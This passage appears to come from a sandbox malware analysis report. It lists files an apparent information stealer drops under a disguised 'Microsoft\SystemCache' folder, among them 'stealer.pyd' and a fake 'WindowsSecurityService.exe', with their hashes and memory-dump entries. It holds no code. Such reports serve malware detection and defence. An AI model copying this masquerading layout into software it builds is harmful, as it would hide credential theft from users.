                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Util\_cpuid_c.pyd
                • Size 10KB
                • SHA256 5ae5523787b53dcd4a5bcc63898d2cdb2254f1df1c5c473668487c8662eb1f00
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _file_system.py
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Util\_file_system.py
                • Size 848B
                • SHA256 9153706d78c07b485b4b70334958dc3375bc1a1810d38cfa55d09210ca844b34
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                _raw_api.py
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Util\_raw_api.py
                • Size 18KB
                • SHA256 c18d684da98b19b12bf9ab997d54b190ab7dc73c9122e2bb07bd179812c0379d
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                __init__.py
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\__init__.py
                • Size 2KB
                • SHA256 ffe5b22b4464d3e0603cab87b3bb79b3d6eded3bd73447853becf2562b3f4e91
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                VCRUNTIME140.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\VCRUNTIME140.dll
                • Size 116KB
                • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _bz2.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_bz2.pyd
                • Size 83KB
                • SHA256 3ed0e5058d370fb14aa5469d81f96c5685559c054917c7280dd4125f21d25f62
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _ctypes.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_ctypes.pyd
                • Size 122KB
                • SHA256 74e0e8384f6c2503215f4cf64c92efe7257f1aec44f72d67ad37dc8ba2530bc1
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _hashlib.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_hashlib.pyd
                • Size 64KB
                • SHA256 fd77a5756a17ec0788989f73222b0e7334dd4494b8c8647b43fe554cf3cfb354
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _lzma.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_lzma.pyd
                • Size 156KB
                • SHA256 7bf9ff61babebd90c499a8ed9b62141f947f90d87e0bbd41a12e99d20e06954a
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _socket.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_socket.pyd
                • Size 81KB
                • SHA256 b102522c23dac2332511eb3502466caf842d6bcd092fbc276b7b55e9cc01b085
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _sqlite3.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_sqlite3.pyd
                • Size 122KB
                • SHA256 ee0e9b0a0af6a98d5e8ad5b9878688d2089f35978756196222b9d45f49168a9d
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _ssl.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_ssl.pyd
                • Size 174KB
                • SHA256 a5d361707f7a2a2d726b20770e8a6fc25d753be30bcbcbbb683ffee7959557c2
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _wmi.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\_wmi.pyd
                • Size 36KB
                • SHA256 752fb80edb51f45d3cc1c046f3b007802432b91aef400c985640d6b276a67c12
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                libcrypto-3.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\libcrypto-3.dll
                • Size 5.0MB
                • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                libffi-8.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\libffi-8.dll
                • Size 38KB
                • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                libssl-3.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\libssl-3.dll
                • Size 768KB
                • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                loader.py
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\loader.py
                • Size 558B
                • SHA256 615fff797efa7048d4211649b750bdead96f39dd35cc9b75fe6351c368681332
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                python.exe
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python.exe
                • Size 101KB
                • SHA256 fd5c46d73d29ba21b04c844bbaf9096066136526911230645a2a040d23fb612b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                python3.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python3.dll
                • Size 66KB
                • SHA256 5146005c36455e7ede4b8ecc0dc6f6fa8ea6b4a99fedbabc1994ae27dfab9d1b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                python312._pth
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python312._pth
                • Size 82B
                • SHA256 c83ed2c063a83e0d18db045192731517042dc4d73064659af36692697fd60acc
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                python312.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python312.dll
                • Size 6.6MB
                • SHA256 21700f0bad5769a1b61ea408dc0a140ffd0a356a774c6eb0cc70e574b929d2e2
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                python312.zip
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python312.zip
                • Size 3.7MB
                • SHA256 2331635c9f558b4ee3f87118c89e2f96aa68137e288645137a39dce9d13a9e64
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                select.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\select.pyd
                • Size 30KB
                • SHA256 411d6f538bdbaf60f1a1798fa8aa7ed3a4e8fcc99c9f9f10d21270d2f3742019
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                sqlite3.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\sqlite3.dll
                • Size 1.5MB
                • SHA256 7ef475d27f9634f6a75e88959e003318d7eb214333d25bdf9be1270fa0308c82
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                stealer.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\stealer.pyd
                • Size 2.1MB
                • SHA256 6bef692ae87b97e3c22729c84ce9884d39c60140689d6d2bee8d2509ce640db5
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                unicodedata.pyd
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\unicodedata.pyd
                • Size 1.1MB
                • SHA256 bc2cf23b7b7491edcf03103b78dbaf42afd84a60ea71e764af9a1ddd0fe84268
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                vcruntime140_1.dll
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\vcruntime140_1.dll
                • Size 48KB
                • SHA256 a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                WindowsSecurityService.exe
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe
                • Size 1.8MB
                • SHA256 193e32e8970955c87b3b9da9dc2fd46005662ea78739023dae7dca73b771e232
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                memory/400-655-0x000001D5EAE70000-0x000001D5EAE7C000-memory.dmp
                Download

                memory/400-654-0x000001D5ECAD0000-0x000001D5ECCEC000-memory.dmp
                Download

                memory/824-784-0x000001E3EC7B0000-0x000001E3EC7D0000-memory.dmp
                Download

                memory/824-785-0x00007FF7E17C0000-0x00007FF7E1F70000-memory.dmp
                Download

                memory/952-548-0x00000262D4A10000-0x00000262D4A29000-memory.dmp
                Download

                memory/1492-777-0x00007FF9275F0000-0x00007FF92781E000-memory.dmp
                Download

                memory/1492-625-0x00007FF9275F0000-0x00007FF92781E000-memory.dmp
                Download

                memory/1492-595-0x00007FF9275F0000-0x00007FF92781E000-memory.dmp
                Download

                memory/1492-643-0x00007FF9275F0000-0x00007FF92781E000-memory.dmp
                Download

                memory/1784-510-0x000002476AEA0000-0x000002476AEB9000-memory.dmp
                Download

                memory/2308-529-0x0000021A28140000-0x0000021A28159000-memory.dmp
                Download

                memory/2328-665-0x000001CA2BFB0000-0x000001CA2BFBC000-memory.dmp
                Download

                memory/2328-664-0x000001CA45920000-0x000001CA45B3C000-memory.dmp
                Download

                memory/2456-800-0x00007FF715470000-0x00007FF715BD7000-memory.dmp
                Download

                memory/2456-788-0x00007FF715470000-0x00007FF715BD7000-memory.dmp
                Download

                memory/2456-729-0x00007FF715470000-0x00007FF715BD7000-memory.dmp
                Download

                memory/2456-804-0x00007FF715470000-0x00007FF715BD7000-memory.dmp
                Download

                memory/2808-486-0x000001C25A4B0000-0x000001C25A4D2000-memory.dmp
                Download

                memory/2808-480-0x000001C259720000-0x000001C259730000-memory.dmp
                Download

                memory/2808-479-0x000001C259720000-0x000001C259730000-memory.dmp
                Download

                memory/3716-790-0x00007FF6D34E0000-0x00007FF6D3C90000-memory.dmp
                Download

                memory/3716-802-0x00007FF6D34E0000-0x00007FF6D3C90000-memory.dmp
                Download

                memory/3716-798-0x00007FF6D34E0000-0x00007FF6D3C90000-memory.dmp
                Download

                memory/3716-794-0x00007FF6D34E0000-0x00007FF6D3C90000-memory.dmp
                Download

                memory/3980-721-0x000002CD24460000-0x000002CD24F21000-memory.dmp
                Download

                memory/4552-636-0x00007FF62AEB0000-0x00007FF62B617000-memory.dmp
                Download

                memory/4552-753-0x000001B7E6510000-0x000001B7E672C000-memory.dmp
                Download

                memory/4632-710-0x000002E2F4BC0000-0x000002E2F4DDC000-memory.dmp
                Download

                memory/4632-711-0x000002E2F4B50000-0x000002E2F4B5C000-memory.dmp
                Download

                memory/4676-799-0x0000000071A20000-0x0000000072096000-memory.dmp
                Download

                memory/4676-787-0x0000000071A20000-0x0000000072096000-memory.dmp
                Download

                memory/4676-791-0x0000000071A20000-0x0000000072096000-memory.dmp
                Download

                memory/4676-781-0x0000000071A20000-0x0000000072096000-memory.dmp
                Download

                memory/4676-795-0x0000000071A20000-0x0000000072096000-memory.dmp
                Download

                memory/4676-776-0x0000000071A20000-0x0000000072096000-memory.dmp
                Download

                memory/4676-771-0x0000000071A20000-0x0000000072096000-memory.dmp
                Download

                memory/4676-803-0x0000000071A20000-0x0000000072096000-memory.dmp
                Download

                memory/4796-733-0x00007FF629370000-0x00007FF62BE46000-memory.dmp
                Download

                memory/4960-431-0x00007FF704D50000-0x00007FF704DE3000-memory.dmp
                Download

                memory/4960-778-0x00007FF704D50000-0x00007FF704DE3000-memory.dmp
                Download

                memory/4960-0-0x00007FF704D50000-0x00007FF704DE3000-memory.dmp
                Download